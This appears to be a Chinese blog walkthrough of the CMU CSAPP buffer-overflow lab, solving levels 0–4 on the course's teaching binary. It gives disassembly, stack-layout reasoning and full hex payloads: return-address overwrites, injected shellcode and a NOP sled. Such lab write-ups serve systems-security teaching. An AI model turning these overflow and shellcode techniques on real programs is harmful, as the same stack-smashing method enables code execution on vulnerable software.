CSAPP-buflab

选项 参数
系统环境 Windows10 系统下 VMware 虚拟机 Ubuntu12.04 桌面版 32 位
原址链接 http://csapp.cs.cmu.edu/3e/labs.html
userid Wilfred
cookie 0x23a81b97

level0 Candle

首先进入 gdb调试,观察到调用路径为:

graph LR;
main(main) --> launcher(launcher);
launcher --> launch(launch);
launch --> test(test);
test --> getbuf(getbuf);
getbuf --> Gets(Gets);

其中 Gets 用于读取字符串,getbuf 分配存储空间并调用 Gets 读取字符串,所以攻击的目标为 getbuf 函数。

查看 getbuf 的反汇编代码

08049262 <getbuf>:
 8049262:   55                      push   %ebp
 8049263:   89 e5                   mov    %esp,%ebp
 8049265:   83 ec 38                sub    $0x38,%esp
 8049268:   8d 45 d8                lea    -0x28(%ebp),%eax
 804926b:   89 04 24                mov    %eax,(%esp)
 804926e:   e8 bf f9 ff ff          call   8048c32 <Gets>
 8049273:   b8 01 00 00 00          mov    $0x1,%eax
 8049278:   c9                      leave  
 8049279:   c3                      ret

确定 buffer 的首地址为 -0x28(%ebp),而返回地址存放在 0x4(%ebp),两者间隔 44 个字节,同时返回地址占 4 个字节的空间,所以至少需要 48 个字节长度的字符。

构造如下字符串(使用二进制码表示,特殊字符无法显示):

0/* spaces 44 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00

/* return address to smoke 4 Bytes */
0b 8e 04 08

主义如果系统是小端法存储,则多字节数据要倒着写(博主虚拟机是小端法,所以这里返回地址倒着写)。

尝试运行,成功调用:

level1 Sparkler

该题与 level0 类似,不过调用的是 fizz 函数,观察反汇编代码:

; fizz(int var1)
08048daf <fizz>:
 8048daf:   55                      push   %ebp
 8048db0:   89 e5                   mov    %esp,%ebp
 8048db2:   83 ec 18                sub    $0x18,%esp
 ; if (var1 == cookie)
 8048db5:   8b 45 08                mov    0x8(%ebp),%eax
 8048db8:   3b 05 04 d1 04 08       cmp    0x804d104,%eax
 8048dbe:   75 26                   jne    8048de6 <fizz+0x37>
 ;   __printf_chk(1, "Fizz!: You called fizz(0x%x)", var1)
 8048dc0:   89 44 24 08             mov    %eax,0x8(%esp)
 8048dc4:   c7 44 24 04 e0 a2 04    movl   $0x804a2e0,0x4(%esp)
 8048dcb:   08 
 8048dcc:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048dd3:   e8 b8 fb ff ff          call   8048990 <__printf_chk@plt>
 8048dd8:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048ddf:   e8 9c 04 00 00          call   8049280 <validate>
 8048de4:   eb 18                   jmp    8048dfe <fizz+0x4f>
 ; else
 ;   __printf_chk(1, "Misfire: You called fizz(0x%x)\n", var1)
 8048de6:   89 44 24 08             mov    %eax,0x8(%esp)
 8048dea:   c7 44 24 04 d4 a4 04    movl   $0x804a4d4,0x4(%esp)
 8048df1:   08 
 8048df2:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048df9:   e8 92 fb ff ff          call   8048990 <__printf_chk@plt>
 ; end if
 ; exit(0)
 8048dfe:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 8048e05:   e8 c6 fa ff ff          call   80488d0 <exit@plt>

发现 fizz 函数传入了一个参数,并且要求与 cookie 相同。

如果了解栈帧,就知道第一个参数的位置为 0x8(%ebp),构造如下字符串:

/* spaces 44 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00

/* return address to fizz 4 Bytes */
af 8d 04 08

/* spaces 4 Bytes */
00 00 00 00

/* cookie 4 Bytes */
97 1b a8 23

切记,由于进入 fizz 是通过 returnebp 的值会加 4,所以 fizz0x8(%ebp) 对应 getbuf0xc(%ebp),需要填充被跳过的 4 个字节。

尝试运行,成功通过:

level2 Firecracker

该题需要调用 bang 函数,观察反汇编代码:

08048d52 <bang>:
 8048d52:   55                      push   %ebp
 8048d53:   89 e5                   mov    %esp,%ebp
 8048d55:   83 ec 18                sub    $0x18,%esp
 ; if (global_value == cookie)
 8048d58:   a1 0c d1 04 08          mov    0x804d10c,%eax
 8048d5d:   3b 05 04 d1 04 08       cmp    0x804d104,%eax
 8048d63:   75 26                   jne    8048d8b <bang+0x39>
 ;   true
 ;   __printf_chk(1, "Bang!: You set global_value to 0x%x\n", global_value)
 8048d65:   89 44 24 08             mov    %eax,0x8(%esp)
 8048d69:   c7 44 24 04 ac a4 04    movl   $0x804a4ac,0x4(%esp)
 8048d70:   08 
 8048d71:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048d78:   e8 13 fc ff ff          call   8048990 <__printf_chk@plt>
 ;   validate(2)
 8048d7d:   c7 04 24 02 00 00 00    movl   $0x2,(%esp)
 8048d84:   e8 f7 04 00 00          call   8049280 <validate>
 8048d89:   eb 18                   jmp    8048da3 <bang+0x51>
 ;   false
 ;   __printf_chk(1, "Misfire: global_value = 0x%x\n", global_value)
 8048d8b:   89 44 24 08             mov    %eax,0x8(%esp)
 8048d8f:   c7 44 24 04 c2 a2 04    movl   $0x804a2c2,0x4(%esp)
 8048d96:   08 
 8048d97:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048d9e:   e8 ed fb ff ff          call   8048990 <__printf_chk@plt>
 ; end if
 8048da3:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 8048daa:   e8 21 fb ff ff          call   80488d0 <exit@plt>

发现代码中判断了全局变量的值是否为 cookie,而全局变量不存在于栈中,无法通过缓冲区溢出来覆写它的值,只能通过注入代码来实现。所以需要在字符串中构造一个函数,先通过 getbuf 函数返回至构造的代码,在构造的代码中返回至 bang 函数。

首先设计汇编代码:

mov $0x23a81b97,%eax
mov $0x0804d10c,%ecx
mov %eax,(%ecx)
ret

cookie 存入 eax 寄存器,再将全局变量的地址存入 ecx 寄存器,通过间接寻址来更改其值然后返回。

使用 as 命令编译成 .o 文件然后使用 objdump 命令获得相应的二进制编码,之后构造字符串:

/* my function 13 Bytes */
b8 97 1b a8 23 /* mov $0x23a81b97,%eax */
b9 0c d1 04 08 /* mov $0x0804d10c,%ecx */
89 01          /* mov %eax,(%ecx) */
c3             /* ret */

/* spaces 31 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

/* return address to my function 4 Bytes */
58 2f 68 55

/* return address to bang 4 Bytes */
52 8d 04 08

运行程序,成功通过:

level3 Dynamite

本题不再要求返回至其他的函数,而是要求返回至应当返回的地方(test中的下一条指令),但是要求返回至更改为 cookie,依旧需要注入代码来实现。同时 test 中对栈帧进行了检查,所以在返回至 test 时需要还原 ebp 寄存器的值。

gdb 中找到需要还原的值:

设计如下汇编代码:

push $0x08048e50        # set return address
push $0x55682fb0        # restore ebp
mov $0x23a81b97,%eax    # return value (cookie)
leave
ret

由于 PUSH 指令存放的地址取决于 ebp,所以在设计字符串时不能将存放 ebp 的空间覆写为其他值:

/* my function 17 Bytes */
68 50 8e 04 08 /* push $0x8048e50 */
68 b0 2f 68 55 /* push $0x55682fb0 */
b8 97 1b a8 23 /* mov $0x23a81b97,%eax */
c9             /* leave */
c3             /* ret */

/* spaces 23 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

/* set ebp 4 Bytes */
80 2f 68 55

/* return address to my function 4 Bytes */
58 2f 68 55

还原 ebp 的方法还有另外一种,见 level4

运行程序,成功通过:

level4 Nitroglycerin

本题与 level3 类似,区别在于会执行 5 次,而且每次调用的栈帧位置都会发生变化,同时要求只使用一份字符串来实现功能。

本题的调用路径发生了一些变化:

graph LR;
main(main) --> launcher(launcher);
launcher --> launch(launch);
launch --> testn(testn);
testn --> getbufn(getbufn);
getbufn --> Gets(Gets);

其中 buffer 的空间扩大成了 512 个字节,比原先多了 480 个字节。

由于只能使用一份字符串,所以每次返回至的位置是相同的,但是每次栈帧位置都会发生变化,所以我们要保证返回至的位置应当是无效代码,同时它应当在我们需要执行的代码的前面(更小的地址)。

由于栈帧不固定,所以 ebp 并非确定的,需要通过 esp 来确定其值,首先观察 testn 的反汇编代码:

08048cce <testn>:
 8048cce:   55                      push   %ebp
 8048ccf:   89 e5                   mov    %esp,%ebp
 8048cd1:   53                      push   %ebx
 8048cd2:   83 ec 24                sub    $0x24,%esp

MOV 指令执行完毕时 espebp 的值相等,之后执行了一次 PUSHesp值减 4),再执行 SUB 指令,所以 ebp = esp+0x28

设计如下代码:

lea 0x28(%esp),%ebp     # restore ebp
push $0x08048ce2        # set return address
mov $0x23a81b97,%eax    # return value (cookie)
ret

接下来需要确定跳转的地方,即 getbuf 的返回地址。虽然 5 次调用的栈帧地址不同,但是多次执行程序,每次都是相同的,所以可以确定跳转的范围:

次数 ebp 的值 buffer 的首地址
1 0x55682f80 0x55682d78
2 0x55682f50 0x55682d48
3 0x55682f60 0x55682d58
4 0x55682f00 0x55682cf8
5 0x55682f40 0x55682d38

跳转的安全范围应当是 buffer ~ ebp,而 buffer 最大为 0x55682d78,所以选择跳转至 0x55682d78 一定能落在恶意数据的范围内。

接下来确定填充的数据,它应当满足以下两个条件:

  1. 本身不会影响到程序的功能
  2. 指令长度应当为 1 个字节,以免跳转至一条指令的中间部分导致错误

恰好 NOP 指令满足以上条件,其值为 0x90

设计如下字符串:

/* nop sleds 505 Bytes */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90

/* my function 15 Bytes */
8d 6c 24 28    /* lea 0x28(%esp),%ebp */
68 e2 8c 04 08 /* push $0x8048ce2 */
b8 97 1b a8 23 /* mov $0x23a81b97,%eax */
c3             /* ret  */

/* set ebp 4 Bytes */
00 00 00 00

/* set return address 4 Bytes */
78 2d 68 55

运行程序,成功通过:

至此,buflab 全部完成!

个人博客:https://wilfredshen.cn/

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,558评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,002评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,036评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,024评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,144评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,255评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,295评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,068评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,478评论 1 305
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,789评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,965评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,649评论 4 336
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,267评论 3 318
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,982评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,223评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,800评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,847评论 2 351